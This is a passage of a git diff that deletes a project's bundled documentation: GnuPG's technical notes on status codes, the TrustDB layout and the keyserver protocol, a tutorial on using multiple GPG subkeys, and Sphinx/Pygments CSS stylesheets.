-<dt>pk_elg </dt><dd>Elgamal key generation -</dd> -<dt>primegen</dt><dd>Prime generation -</dd> -<dt>need_entropy</dt><dd>Waiting for new entropy in the RNG -</dd> -<dt>tick</dt><dd>Generic tick without any special meaning - useful - for letting clients know that the server is still - working. -</dd> -<dt>starting_agent</dt><dd>A gpg-agent was started because it is not - running as a daemon. -</dd> -<dt>learncard</dt><dd>Send by the agent and gpgsm while learing - the data of a smartcard. -</dd> -<dt>card_busy</dt><dd>A smartcard is still working -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-9" class="outline-4"> -<h4 id="sec-2-6-9"><span class="section-number-4">2.6.9</span> BACKUP_KEY_CREATED <fingerprint> <fname></h4> -<div class="outline-text-4" id="text-2-6-9"> - -<p> A backup of a key identified by <fingerprint> has been writte to - the file <fname>; <fname> is percent-escaped. -</p> -</div> - -</div> - -<div id="outline-container-2-6-10" class="outline-4"> -<h4 id="sec-2-6-10"><span class="section-number-4">2.6.10</span> MOUNTPOINT <name></h4> -<div class="outline-text-4" id="text-2-6-10"> - -<p> <name> is a percent-plus escaped filename describing the - mountpoint for the current operation (e.g. used by "g13 –mount"). - This may either be the specified mountpoint or one randomly - choosen by g13. -</p> -</div> - -</div> - -<div id="outline-container-2-6-11" class="outline-4"> -<h4 id="sec-2-6-11"><span class="section-number-4">2.6.11</span> PINENTRY_LAUNCHED <pid></h4> -<div class="outline-text-4" id="text-2-6-11"> - -<p> This status line is emitted by gpg to notify a client that a - Pinentry has been launched. <pid> is the PID of the Pinentry. It - may be used to display a hint to the user but can't be used to - synchronize with Pinentry. Note that there is also an Assuan - inquiry line with the same name used internally or, if enabled, - send to the client instead of this status line. Such an inquiry - may be used to sync with Pinentry -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-7" class="outline-3"> -<h3 id="sec-2-7"><span class="section-number-3">2.7</span> Obsolete status codes</h3> -<div class="outline-text-3" id="text-2-7"> - - -</div> - -<div id="outline-container-2-7-1" class="outline-4"> -<h4 id="sec-2-7-1"><span class="section-number-4">2.7.1</span> SIGEXPIRED</h4> -<div class="outline-text-4" id="text-2-7-1"> - -<p> Removed on 2011-02-04. This is deprecated in favor of KEYEXPIRED. -</p></div> - -</div> - -<div id="outline-container-2-7-2" class="outline-4"> -<h4 id="sec-2-7-2"><span class="section-number-4">2.7.2</span> RSA_OR_IDEA</h4> -<div class="outline-text-4" id="text-2-7-2"> - -<p> Obsolete. This status message used to be emitted for requests to - use the IDEA or RSA algorithms. It has been dropped from GnuPG - 2.1 after the respective patents expired. -</p></div> - -</div> - -<div id="outline-container-2-7-3" class="outline-4"> -<h4 id="sec-2-7-3"><span class="section-number-4">2.7.3</span> SHM_INFO, SHM_GET, SHM_GET_BOOL, SHM_GET_HIDDEN</h4> -<div class="outline-text-4" id="text-2-7-3"> - -<p> These were used for the ancient shared memory based co-processing. -</p></div> - -</div> - -<div id="outline-container-2-7-4" class="outline-4"> -<h4 id="sec-2-7-4"><span class="section-number-4">2.7.4</span> BEGIN_STREAM, END_STREAM</h4> -<div class="outline-text-4" id="text-2-7-4"> - -<p> Used to issued by the experimental pipemode. -</p> - -</div> -</div> -</div> - -</div> - -<div id="outline-container-3" class="outline-2"> -<h2 id="sec-3"><span class="section-number-2">3</span> Format of the –attribute-fd output</h2> -<div class="outline-text-2" id="text-3"> - - -<p> - When –attribute-fd is set, during key listings (–list-keys, - –list-secret-keys) GnuPG dumps each attribute packet to the file - descriptor specified. –attribute-fd is intended for use with - –status-fd as part of the required information is carried on the - ATTRIBUTE status tag (see above). -</p> -<p> - The contents of the attribute data is specified by RFC 4880. For - convenience, here is the Photo ID format, as it is currently the - only attribute defined: -</p> -<dl> -<dt>Byte 0-1</dt><dd>The length of the image header. Due to a historical - accident (i.e. oops!) back in the NAI PGP days, this - is a little-endian number. Currently 16 (0x10 0x00). - -</dd> -<dt>Byte 2</dt><dd>The image header version. Currently 0x01. - -</dd> -<dt>Byte 3</dt><dd>Encoding format. 0x01 == JPEG. - -</dd> -<dt>Byte 4-15</dt><dd>Reserved, and currently unused. -</dd> -</dl> - - -<p> - All other data after this header is raw image (JPEG) data. -</p> - -</div> - -</div> - -<div id="outline-container-4" class="outline-2"> -<h2 id="sec-4"><span class="section-number-2">4</span> Unattended key generation</h2> -<div class="outline-text-2" id="text-4"> - - -<p> - Please see the GnuPG manual for a description. -</p> - -</div> - -</div> - -<div id="outline-container-5" class="outline-2"> -<h2 id="sec-5"><span class="section-number-2">5</span> Layout of the TrustDB</h2> -<div class="outline-text-2" id="text-5"> - - -<p> - The TrustDB is built from fixed length records, where the first byte - describes the record type. All numeric values are stored in network - byte order. The length of each record is 40 bytes. The first record - of the DB is always of type 1 and this is the only record of this - type. -</p> -<p> - FIXME: The layout changed, document it here. -</p> - - -<pre class="example">Record type 0: --------------- - Unused record, can be reused for any purpose. - -Record type 1: --------------- - Version information for this TrustDB. This is always the first - record of the DB and the only one with type 1. - 1 byte value 1 - 3 bytes 'gpg' magic value - 1 byte Version of the TrustDB (2) - 1 byte marginals needed - 1 byte completes needed - 1 byte max_cert_depth - The three items are used to check whether the cached - validity value from the dir record can be used. - 1 u32 locked flags [not used] - 1 u32 timestamp of trustdb creation - 1 u32 timestamp of last modification which may affect the validity - of keys in the trustdb. This value is checked against the - validity timestamp in the dir records. - 1 u32 timestamp of last validation [currently not used] - (Used to keep track of the time, when this TrustDB was checked - against the pubring) - 1 u32 record number of keyhashtable [currently not used] - 1 u32 first free record - 1 u32 record number of shadow directory hash table [currently not used] - It does not make sense to combine this table with the key table - because the keyid is not in every case a part of the fingerprint. - 1 u32 record number of the trusthashtbale - - -Record type 2: (directory record) --------------- - Informations about a public key certificate. - These are static values which are never changed without user interaction. - - 1 byte value 2 - 1 byte reserved - 1 u32 LID . (This is simply the record number of this record.) - 1 u32 List of key-records (the first one is the primary key) - 1 u32 List of uid-records - 1 u32 cache record - 1 byte ownertrust - 1 byte dirflag - 1 byte maximum validity of all the user ids - 1 u32 time of last validity check. - 1 u32 Must check when this time has been reached. - (0 = no check required) - - -Record type 3: (key record) --------------- - Informations about a primary public key. - (This is mainly used to lookup a trust record) - - 1 byte value 3 - 1 byte reserved - 1 u32 LID - 1 u32 next - next key record - 7 bytes reserved - 1 byte keyflags - 1 byte pubkey algorithm - 1 byte length of the fingerprint (in bytes) - 20 bytes fingerprint of the public key - (This is the value we use to identify a key) - -Record type 4: (uid record) --------------- - Informations about a userid - We do not store the userid but the hash value of the userid because that - is sufficient. - - 1 byte value 4 - 1 byte reserved - 1 u32 LID points to the directory record. - 1 u32 next next userid - 1 u32 pointer to preference record - 1 u32 siglist list of valid signatures - 1 byte uidflags - 1 byte validity of the key calculated over this user id - 20 bytes ripemd160 hash of the username. - - -Record type 5: (pref record) --------------- - This record type is not anymore used. - - 1 byte value 5 - 1 byte reserved - 1 u32 LID; points to the directory record (and not to the uid record!). - (or 0 for standard preference record) - 1 u32 next - 30 byte preference data - -Record type 6 (sigrec) -------------- - Used to keep track of key signatures. Self-signatures are not - stored. If a public key is not in the DB, the signature points to - a shadow dir record, which in turn has a list of records which - might be interested in this key (and the signature record here - is one). - - 1 byte value 6 - 1 byte reserved - 1 u32 LID points back to the dir record - 1 u32 next next sigrec of this uid or 0 to indicate the - last sigrec. - 6 times - 1 u32 Local_id of signatures dir or shadow dir record - 1 byte Flag: Bit 0 = checked: Bit 1 is valid (we have a real - directory record for this) - 1 = valid is set (but may be revoked) - - - -Record type 8: (shadow directory record) --------------- - This record is used to reserve a LID for a public key. We - need this to create the sig records of other keys, even if we - do not yet have the public key of the signature. - This record (the record number to be more precise) will be reused - as the dir record when we import the real public key. - - 1 byte value 8 - 1 byte reserved - 1 u32 LID (This is simply the record number of this record.) - 2 u32 keyid - 1 byte pubkey algorithm - 3 byte reserved - 1 u32 hintlist A list of records which have references to - this key. This is used for fast access to - signature records which are not yet checked. - Note, that this is only a hint and the actual records - may not anymore hold signature records for that key - but that the code cares about this. - 18 byte reserved - - - -Record Type 10 (hash table) --------------- - Due to the fact that we use fingerprints to lookup keys, we can - implement quick access by some simple hash methods, and avoid - the overhead of gdbm. A property of fingerprints is that they can be - used directly as hash values. (They can be considered as strong - random numbers.) - What we use is a dynamic multilevel architecture, which combines - hashtables, record lists, and linked lists. - - This record is a hashtable of 256 entries; a special property - is that all these records are stored consecutively to make one - big table. The hash value is simple the 1st, 2nd, ... byte of - the fingerprint (depending on the indirection level). - - When used to hash shadow directory records, a different table is used - and indexed by the keyid. - - 1 byte value 10 - 1 byte reserved - n u32 recnum; n depends on the record length: - n = (reclen-2)/4 which yields 9 for the current record length - of 40 bytes. - - the total number of such record which makes up the table is: - m = (256+n-1) / n - which is 29 for a record length of 40. - - To look up a key we use the first byte of the fingerprint to get - the recnum from this hashtable and look up the addressed record: - - If this record is another hashtable, we use 2nd byte - to index this hash table and so on. - - if this record is a hashlist, we walk all entries - until we found one a matching one. - - if this record is a key record, we compare the - fingerprint and to decide whether it is the requested key; - - -Record type 11 (hash list) --------------- - see hash table for an explanation. - This is also used for other purposes. - - 1 byte value 11 - 1 byte reserved - 1 u32 next next hash list record - n times n = (reclen-5)/5 - 1 u32 recnum - - For the current record length of 40, n is 7 - - - -Record type 254 (free record) ---------------- - All these records form a linked list of unused records. - 1 byte value 254 - 1 byte reserved (0) - 1 u32 next_free -</pre> - - - -</div> - -</div> - -<div id="outline-container-6" class="outline-2"> -<h2 id="sec-6"><span class="section-number-2">6</span> GNU extensions to the S2K algorithm</h2> -<div class="outline-text-2" id="text-6"> - - -<p> - S2K mode 101 is used to identify these extensions. - After the hash algorithm the 3 bytes "GNU" are used to make - clear that these are extensions for GNU, the next bytes gives the - GNU protection mode - 1000. Defined modes are: -</p><dl> -<dt>1001</dt><dd>Do not store the secret part at all. -</dd> -<dt>1002</dt><dd>A stub to access smartcards (not used in 1.2.x) -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-7" class="outline-2"> -<h2 id="sec-7"><span class="section-number-2">7</span> Keyserver helper message format</h2> -<div class="outline-text-2" id="text-7"> - - -<p> - The keyserver may be contacted by a Unix Domain socket or via TCP. -</p> -<p> - The format of a request is: -</p> - - -<pre class="example">command-tag -"Content-length:" digits -CRLF -</pre> - - -<p> - Where command-tag is -</p> - - - -<pre class="example">NOOP -GET <user-name> -PUT -DELETE <user-name> -</pre> - - -<p> -The format of a response is: -</p> - - - -<pre class="example">"GNUPG/1.0" status-code status-text -"Content-length:" digits -CRLF -</pre> - -<p> -followed by <digits> bytes of data -</p> -<p> -Status codes are: -</p> -<dl> -<dt>1xx</dt><dd>Informational - Request received, continuing process - -</dd> -<dt>2xx</dt><dd>Success - The action was successfully received, understood, - and accepted - -</dd> -<dt>4xx</dt><dd>Client Error - The request contains bad syntax or cannot be - fulfilled - -</dd> -<dt>5xx</dt><dd>Server Error - The server failed to fulfill an apparently - valid request -</dd> -</dl> - - - -</div> - -</div> - -<div id="outline-container-8" class="outline-2"> -<h2 id="sec-8"><span class="section-number-2">8</span> Object identifiers</h2> -<div class="outline-text-2" id="text-8"> - - -<p> - OIDs below the GnuPG arc: -</p> - - - -<pre class="example">1.3.6.1.4.1.11591.2 GnuPG -1.3.6.1.4.1.11591.2.1 notation -1.3.6.1.4.1.11591.2.1.1 pkaAddress -1.3.6.1.4.1.11591.2.2 X.509 extensions -1.3.6.1.4.1.11591.2.2.1 standaloneCertificate -1.3.6.1.4.1.11591.2.2.2 wellKnownPrivateKey -1.3.6.1.4.1.11591.2.12242973 invalid encoded OID -</pre> - - - - -</div> - -</div> - -<div id="outline-container-9" class="outline-2"> -<h2 id="sec-9"><span class="section-number-2">9</span> Miscellaneous notes</h2> -<div class="outline-text-2" id="text-9"> - - - -</div> - -<div id="outline-container-9-1" class="outline-3"> -<h3 id="sec-9-1"><span class="section-number-3">9.1</span> v3 fingerprints</h3> -<div class="outline-text-3" id="text-9-1"> - -<p> For packet version 3 we calculate the keyids this way: -</p><dl> -<dt>RSA</dt><dd>Low 64 bits of n -</dd> -<dt>ELGAMAL</dt><dd>Build a v3 pubkey packet (with CTB 0x99) and - calculate a RMD160 hash value from it. This is used - as the fingerprint and the low 64 bits are the keyid. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-9-2" class="outline-3"> -<h3 id="sec-9-2"><span class="section-number-3">9.2</span> Simplified revocation certificates</h3> -<div class="outline-text-3" id="text-9-2"> - -<p> Revocation certificates consist only of the signature packet; - "–import" knows how to handle this. The rationale behind it is to - keep them small. -</p> -</div> - -</div> - -<div id="outline-container-9-3" class="outline-3"> -<h3 id="sec-9-3"><span class="section-number-3">9.3</span> Documentation on HKP (the http keyserver protocol):</h3> -<div class="outline-text-3" id="text-9-3"> - - -<p> - A minimalistic HTTP server on port 11371 recognizes a GET for - /pks/lookup. The standard http URL encoded query parameters are - this (always key=value): -</p> -<ul> -<li>op=index (like pgp -kv), op=vindex (like pgp -kvv) and op=get (like - pgp -kxa) - -</li> -<li>search=<stringlist>. This is a list of words that must occur in the key. - The words are delimited with space, points, @ and so on. The delimiters - are not searched for and the order of the words doesn't matter (but see - next option). - -</li> -<li>exact=on. This switch tells the hkp server to only report exact matching - keys back. In this case the order and the "delimiters" are important. - -</li> -<li>fingerprint=on. Also reports the fingerprints when used with 'index' or - 'vindex' -</li> -</ul> - - -<p> - The keyserver also recognizes http-POSTs to /pks/add. Use this to upload - keys. -</p> - -<p> - A better way to do this would be a request like: -</p> -<p> - /pks/lookup/<gnupg_formatierte_user_id>?op=<operation> -</p> -<p> - This can be implemented using Hurd's translator mechanism. - However, I think the whole key server stuff has to be re-thought; - I have some ideas and probably create a white paper. -</p></div> -</div> -</div> -</div> - -<div id="postamble"> -<p class="date">Date: 2013-07-03T09:52+0000</p> -<p class="author">Author: isis</p> -<p class="email"><a href="mailto:isis@wintermute.patternsinthevoid.net">isis@wintermute.patternsinthevoid.net</a></p> -<p class="creator"><a href="http://orgmode.org">Org</a> version 7.9.2 with <a href="http://www.gnu.org/software/emacs/">Emacs</a> version 24</p> -<a href="http://validator.w3.org/check?uri=referer">Validate XHTML 1.0</a> - -</div> -</body> -</html> diff --git a/docs/_static/agogo.css b/docs/_static/agogo.css deleted file mode 100644 index 2bdc26f..0000000 --- a/docs/_static/agogo.css +++ /dev/null @@ -1,337 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -body { - font-family: "Verdana", Arial, sans-serif; - line-height: 1.4em; - font-size: 14px; - color: black; - background-color: #eeeeec; -} - - -/* Page layout */ - -div.header, div.content, div.footer { - width: 70em; - margin-left: auto; - margin-right: auto; -} - -div.header-wrapper { - background: url(bgtop.png) top left repeat-x; - border-bottom: 3px solid #2e3436; -} - -div.headertitle a { - font-family: "Georgia", "Times New Roman", serif; - font-size: 2em; - color: rgb(252, 175, 62); - font-weight: normal; -} - -h1 { - color: #204a87; -} - -/* Default body styles */ -a { - text-decoration: none; - color: #ce5c00; -} - -.clearer { - clear: both; -} - -.left { - float: left; -} - -.right { - float: right; -} - -h1, h2, h3, h4 { - font-family: "Georgia", "Times New Roman", serif; - font-weight: normal; - color: #3465a4; - margin-bottom: .8em; -} - -h1 { - color: #204a87; -} - -h2 { - padding-bottom: .5em; - border-bottom: 1px solid #3465a4; -} - -a.headerlink { - visibility: hidden; - color: #dddddd; - padding-left: .3em; -} - -h1:hover > a.headerlink, -h2:hover > a.headerlink, -h3:hover > a.headerlink, -h4:hover > a.headerlink, -h5:hover > a.headerlink, -h6:hover > a.headerlink, -dt:hover > a.headerlink { - visibility: visible; -} - - - -/* Header */ - -div.header { - padding-top: 10px; - padding-bottom: 10px; -} - -div.header h1 { - font-family: "Georgia", "Times New Roman", serif; - font-weight: normal; - font-size: 160%; - letter-spacing: .08em; -} - -div.header h1 a { - color: white; -} - -div.header div.rel { - margin-top: 1em; -} - -div.header div.rel a { - color: #fcaf3e; - letter-spacing: .1em; - text-transform: uppercase; -} - - -/* Content */ -div.content-wrapper { - background-color: white; - padding-top: 20px; - padding-bottom: 20px; -} - -div.document { - width: 50em; - float: left; -} - -div.body { - padding-right: 2em; - text-align: justify; -} - -div.document ul { - margin-left: 1.2em; - list-style-type: square; -} - -div.document dd { - margin-left: 1.2em; - margin-top: .4em; - margin-bottom: 1em; -} - -div.document .section { - margin-top: 1.7em; -} -div.document .section:first-child { - margin-top: 0px; -} - -div.document div.highlight { - padding: 3px; - background-color: #eeeeec; - border-top: 2px solid #dddddd; - border-bottom: 2px solid #dddddd; - margin-top: .8em; - margin-bottom: .8em; -} - -div.document h2 { - margin-top: .7em; -} - -div.document p { - margin-bottom: .5em; -} - -div.document li.toctree-l1 { - margin-bottom: 1em; -} - -div.document .descname { - font-weight: bold; -} - -div.document .docutils.literal { - background-color: #eeeeec; - padding: 1px; -} - -div.document .docutils.xref.literal { - background-color: transparent; - padding: 0px; -} - - -/* Sidebar */ - -div.sidebar { - width: 20em; - float: right; - font-size: .9em; -} - -div.sidebar h3 { - color: #2e3436; - text-transform: uppercase; - font-size: 130%; - letter-spacing: .1em; -} - -div.sidebar ul { - list-style-type: none; -} - -div.sidebar li.toctree-l1 a { - display: block; - padding: 1px; - border: 1px solid #dddddd; - background-color: #eeeeec; - margin-bottom: .4em; - padding-left: 3px; - color: #2e3436; -} - -div.sidebar li.toctree-l2 a { - background-color: transparent; - border: none; - border-bottom: 1px solid #dddddd; -} - -div.sidebar li.toctree-l2:last-child a { - border-bottom: none; -} - -div.sidebar li.toctree-l1.current a { - border-right: 5px solid #fcaf3e; -} - -div.sidebar li.toctree-l1.current li.toctree-l2 a { - border-right: none; -} - - -/* Footer */ - -div.footer-wrapper { - background: url(bgfooter.png) top left repeat-x; - border-top: 4px solid #babdb6; - padding-top: 10px; - padding-bottom: 10px; - min-height: 80px; -} - -div.footer, div.footer a { - color: #888a85; -} - -div.footer .right { - text-align: right; -} - -div.footer .left { - text-transform: uppercase; -} - - -/* Styles copied form basic theme */ - -/* -- search page ----------------------------------------------------------- */ - -ul.search { - margin: 10px 0 0 20px; - padding: 0; -} - -ul.search li { - padding: 5px 0 5px 20px; - background-image: url(file.png); - background-repeat: no-repeat; - background-position: 0 7px; -} - -ul.search li a { - font-weight: bold; -} - -ul.search li div.context { - color: #888; - margin: 2px 0 0 30px; - text-align: left; -} - -ul.keywordmatches li.goodmatch a { - font-weight: bold; -} - -/* -- index page ------------------------------------------------------------ */ - -table.contentstable { - width: 90%; -} - -table.contentstable p.biglink { - line-height: 150%; -} - -a.biglink { - font-size: 1.3em; -} - -span.linkdescr { - font-style: italic; - padding-top: 5px; - font-size: 90%; -} - -/* -- general index --------------------------------------------------------- */ - -table.indextable td { - text-align: left; - vertical-align: top; -} - -table.indextable dl, table.indextable dd { - margin-top: 0; - margin-bottom: 0; -} - -table.indextable tr.pcap { - height: 10px; -} - -table.indextable tr.cap { - margin-top: 10px; - background-color: #f2f2f2; -} - -img.toggler { - margin-right: 3px; - margin-top: 3px; - cursor: pointer; -} diff --git a/docs/_static/pgp-subkeys.html b/docs/_static/pgp-subkeys.html deleted file mode 100644 index 2fc83b4..0000000 --- a/docs/_static/pgp-subkeys.html +++ /dev/null @@ -1,236 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html><head><title>Using multiple subkeys in GPG</title></head><body style="background-color: white;"> -<div>[ <a href="http://fortytwo.ch/">main gpg page</a> ] -<hr> -<h1>Using multiple subkeys in GPG</h1> -<hr> -<h2>Motivation</h2> -<p> -For a time, I've had two different gpg keys - one at home on my presumably -secure machine, one at the office, with NFS mounted home directory and -quite a few people having accounts everywhere. This worked, but the problem -is that when exchanging key signatures I always had to beg people to sign -both my keys. -</p> -<p> -With gpg and the possibility of having multiple subkeys, I can now have -only one key, but still retain the security feature that I don't have to -revoke my primary key (and lose all signatures on it) if the key at the -office is compromised. -</p> -<p> -<b>NOTE:</b> Most of the following can apply to both signing and encrypting -subkeys. Encryption subkeys can not be used to solve the multiple accounts -problem, though, please see the <a href="#problems">Problems</a> section -further down. Also, note that I don't use multiple encryption subkeys, so I -don't know if there are additional problems with them. -</p> -<p> -The following is based on <b>gnupg 1.2.1</b>. It should all work with newer -versions, too. Older versions do not support everything and have some -additional problems. As I really do recommend you use a recent gpg version, I -have omitted anything related to older gpg versions. -</p> -<h2>Basics</h2> -<p> -Generate a normal key pair, or use an existing key. Usually this will be a -DSA/ElGamal key (this is what I use), but using RSA or other keys is -equally possible. Be sure to do this on a 'really secure' machine. -</p> -<p> -Then "<tt>gpg __edit <i>keyid</i></tt>" the key and add a further subkey -using "<tt>addkey</tt>". "<tt>save</tt>" will store the new subkey on the -keyring. You'll want to save the whole key (secret and public) with -"<tt>gpg __export <i>keyid</i> > pubkey</tt>" and "<tt>gpg -__export-secret-key <i>keyid</i> > seckey</tt>". Best copy those files -onto an offline storage, too. (A basic working knowledge of how to use a -command line and how to deal with files is assumed. Also, you should know -a bit how key handling in gpg works. If you can't see what the above commands -do, you better do <a href="http://www.gnupg.org/gph/en/manual.html">some -reading</a> before continuing here). -</p> -<p> -Now you should also <b>back up your keyrings</b>, as the following has to -work on a keyring to work around some missing or broken gpg features. -</p> -<p> -As you probably will only take one of the subkeys to your not-so-secure -location, "<tt>gpg __edit <i>keyid</i></tt> and delete the subkeys you -don't want to expose (mark them with "<tt>key <i>n</i></tt>" and then delete -them with "<tt>delkey</tt>"). -</p> -<p> -"<tt>gpg __export-secret-subkeys <i>keyid</i> > crippled.seckey</tt>" -will then export the remaining subkeys, without the keymaterial of the -primary key. -</p> -<p> -Now, you can restore the keyrings (secret <em>and</em> public, since -deleting the subkeys has also deleted the public subkeys!), and your secure -machine is ready to use. Perhaps you don't want to use your 'insecure' -subkey on your secure machine - again, "<tt>gpg __edit <i>keyid</i></tt>", -"<tt>key <i>n</i></tt>" and "<tt>delkey</tt>" takes care of this; again, it -is necessary to re-import the public key. -</p> -<p> -On your 'insecure' machine, you do "<tt>gpg __import pubkey -crippled.seckey</tt>" (the same files you've generated above), now you're ready -to use gpg on the 'insecure' machine. To verify that you really don't have any -secret keys you don't want, have a look at the output of "<tt>gpg -__list-secret-keys</tt>": all primary secret key where the key material is not -present are marked with '#'. -</p> -<pre> -$ gpg __list-secret-key testuser -sec<b>#</b> 1024D/971B7A70 2003-01-03 testuser <testuser@mydomain.foo> -ssb 1024g/ACDF80C4 2003-01-03 -ssb 1024R/BE9CA308 2003-01-07 -</pre> -<p> -Of course, you'll have to publish your new public key, so people can -verify your signatures and send you encrypted mail. Read the <a -href="#problems">Problems</a> section for a few comments about this. -</p> -<h2>Effects</h2> -<p> -Keys are always signed with your primary key, so you (or any attacker) won't be -able to sign other keys with the key on the 'insecure' machine. This is why we -started doing all this acrobatics after all. </p> -<p> -You will always be able to revoke a subkey (just "<tt>gpg __edit -<i>keyid</i></tt>", "<tt>key <i>n</i></tt>" and "<tt>revkey</tt>") when you -have the primary secret key available, even if you lose your secret subkey. -Meaning: you may use a secret subkey at an office location, and it is not -strictly necessary to back it up on a secure location (It's still a good idea, -though). The reason for this is that a revocation is really a signature on the -subkey - and this signature is done with the primary key. Of course, this means -that you can't revoke a subkey when you don't have the primary secret key. -</p> -<p> -If you're signing documents, gpg will always try to use a subkey if one -is available, and announce this with a message like "<tt>1024-bit DSA key, ID -E5A7F7D6, created 2002-08-22 (main key ID 92082481)</tt>" . Verifying such -signatures used to cause a similar message, but at least with gpg 1.2.3 no -indication is given that the signature was made with a subkey. If you want to -use a specific subkey (or the primary key), you have to specify it with the -"<tt><i>keyid</i>!</tt>" syntax. I don't remember what happens if more than one -signing subkey is available; I'm sure you can find details on this somewhere in -the <a href="http://www.gnupg.org/documentation/mailing-lists.html">gnupg -mailing list archives</a>. -</p> -<h2><a name="problems">Problems</a></h2> -<p> -The above approach has several problems that may lead to you not doing -things like this. <b>These are not just possible problems. These are real, -and <em>will</em> affect you! You have been warned.</b> -</p> -<p> -First, distributing secret subkeys this way (one subkey for each -account/machine you use) only makes sense with signing subkeys. You can have -multiple encryption subkeys, but you can't force people sending you encrypted -mail using a specific subkey. Naturally, if you're using encryption for -yourself, you can chose the encryption key to use with the -"<tt><i>keyid</i>!</tt>" syntax. The presence of multiple encryption subkeys -is, however, useful if you revoke an older one to replace it with a new one. -</p> -<p> -Old PGP versions apparently can't cope with such keys. I didn't verify this -myself, but people on the gnupg-users mailing list said that current PGP -versions (up to 7.x) can not verify signatures from a subkey. With PGP 8 the -situation is a bit more complicated: PGP 8 can verify subkey signatures, but -has still problems with multiple subkeys: a key with a signing subkey that is -newer than the encryption subkey cannot be used for encryption in PGP 8. A key -where the encryption subkey is newer than the signing subkey can be used for -encryption. So, when you create your key, generate it as 'signing only' key -first, then generate all the signing subkeys you need, and in the end generate -the encryption subkey. (Thanks to David Shaw for this info). -</p> -<p> -Most keyservers can not handle keys with multiple subkeys. Some of them even -make these keys unusable. This should get better soon, as JHarris has written a -patch for the pks keyserver, and keyservers with other software that handles -this are deployed more widely. The keyservers that can handle multiple subkeys -are summarized as <tt>subkeys.pgp.net</tt>. -GnuPG 1.2 added code to recover somewhat when a broken key is retrieved - one -of the subkeys is useable (the others can't be used, as the signature binding -the subkey to the primary is lost). -</p> -<p> -Besides corrupting keys with multiple subkeys, all of these old keyservers -will also only search keys based on the primary key id - so, automatic key -retrieval on signature verification will not work, too. Yet another -reason to oonly use the subkeys.pgp.net keyservers. -</p> -<p> -Finally, keyhandling is not comfortable with such keys - the user interface of -gpg could be better. The following is valid for gpg 1.2.1, some things may be -fixed in newer versions.: -</p> -<ul> -<li> -"<tt>gpg __import <i>secret key</i></tt>" does not merge the keys properly. -If a secret key is already present, additional secret subkeys are not -imported. Also, a dummy primary key is not replaced by the real subkey on -import. Workaround is to shuffle around the keyrings, or do -"<tt>__export</tt>"s at all stages and use "<tt>__delete-secret-key</tt>" -often. (People with masochistic inclination may probably also use -combinations of <tt>gpgsplit</tt>, <tt>cat</tt> and "<tt>gpg __export</tt>" -and "<tt>__import</tt>. I've not tried this.) -</li> -<li> -"<tt>gpg __export-secret-key <i>keyid</i>!</tt>" and <tt>gpg -__export-secret-subkeys <i>keyid</i>!</tt>" should really only export the -named subkey (or the primary stripped of all subkeys). Much keyring shuffling -could be avoided. (<b>2003-02-12:</b>David Shaw added this to the development -branch of the gpg code. Great!) -</li> -</ul> -<h2>Links</h2> -<p> -Some additional reading that might be interesting: -</p> -<ul> -<li> -The <a href="http://www.ietf.org/rfc/rfc2440.txt">rfc2440</a>, specifying -the OpenPGP key format. -</li> -<li> -The <a href="http://www.gnupg.org/gph/en/manual.html">GNU Privacy Handbook</a> -is a fairly complete manual to gpg. -</li> -<li> -The <a -href="http://lists.gnupg.org/pipermail/gnupg-users/2002-August/014721.html">using -various subkeys</a> thread on the gnupg-users mailing list, where most of these -issues were discussed. -</li> -<li> -The <a -href="http://lists.gnupg.org/pipermail/gnupg-devel/2002-September/007700.html">using -subkey signatures</a> thread on gnupg-devel where I asked about the auto key -retrieval problem. -</li> -<li> -Other <a href="http://atom.smasher.org/gpg/">tutorials</a> on advanced black -magic with keys by Atom Smasher, dealing with what you can do with subkeys. -</li> -</ul> -<h2>Acknowledgments</h2> -<p> -Of course, thanks to the gnupg crew for the cool software, and especially to -Werner Koch and David Shaw for replying to my initial questions about this. And -to Jason Harris for fixing pks to accept keys with multiple subkeys, I hope -this patch spreads really fast as soon as it is officially out. -</p> -<p> -</p> -</div> -<hr> -<div style="font-size: x-small;"> -©2002-2004 <a href="mailto:avbidder+gpg@fortytwo.ch">Adrian von Bidder</a> -- Permission to redistribute and/or modify this document is granted if (i) the -original author (Adrian von Bidder, Switzerland) is acknowledged and (ii) the -document remains freely available for distribution and modification. -</div> - -</body></html> diff --git a/docs/_static/pygments.css b/docs/_static/pygments.css deleted file mode 100644 index 45bae6e..0000000 --- a/docs/_static/pygments.css +++ /dev/null @@ -1,69 +0,0 @@ -.hll { background-color: #ffffcc } -.c { color: #8f5902; font-style: italic } /* Comment */ -.err { color: #a40000; border: 1px solid #ef2929 } /* Error */ -.g { color: #000000 } /* Generic */ -.k { color: #204a87; font-weight: bold } /* Keyword */ -.l { color: #000000 } /* Literal */ -.n { color: #000000 } /* Name */ -.o { color: #ce5c00; font-weight: bold } /* Operator */ -.x { color: #000000 } /* Other */ -.p { color: #000000; font-weight: bold } /* Punctuation */ -.cm { color: #8f5902; font-style: italic } /* Comment.Multiline */ -.cp { color: #8f5902; font-style: italic } /* Comment.Preproc */ -.c1 { color: #8f5902; font-style: italic } /* Comment.Single */ -.cs { color: #8f5902; font-style: italic } /* Comment.Special */ -.gd { color: #a40000 } /* Generic.Deleted */ -.ge { color: #000000; font-style: italic } /* Generic.Emph */ -.gr { color: #ef2929 } /* Generic.Error */ -.gh { color: #000080; font-weight: bold } /* Generic.Heading */ -.gi { color: #00A000 } /* Generic.Inserted */ -.go { color: #000000; font-style: italic } /* Generic.Output */ -.gp { color: #8f5902 } /* Generic.Prompt */ -.gs { color: #000000; font-weight: bold } /* Generic.Strong */ -.gu { color: #800080; font-weight: bold } /* Generic.Subheading */ -.gt { color: #a40000; font-weight: bold } /* Generic.Traceback */ -.kc { color: #204a87; font-weight: bold } /* Keyword.Constant */ -.kd { color: #204a87; font-weight: bold } /* Keyword.Declaration */ -.kn { color: #204a87; font-weight: bold } /* Keyword.Namespace */ -.kp { color: #204a87; font-weight: bold } /* Keyword.Pseudo */ -.kr { color: #204a87; font-weight: bold } /* Keyword.Reserved */ -.kt { color: #204a87; font-weight: bold } /* Keyword.Type */ -.ld { color: #000000 } /* Literal.Date */ -.m { color: #0000cf; font-weight: bold } /* Literal.Number */ -.s { color: 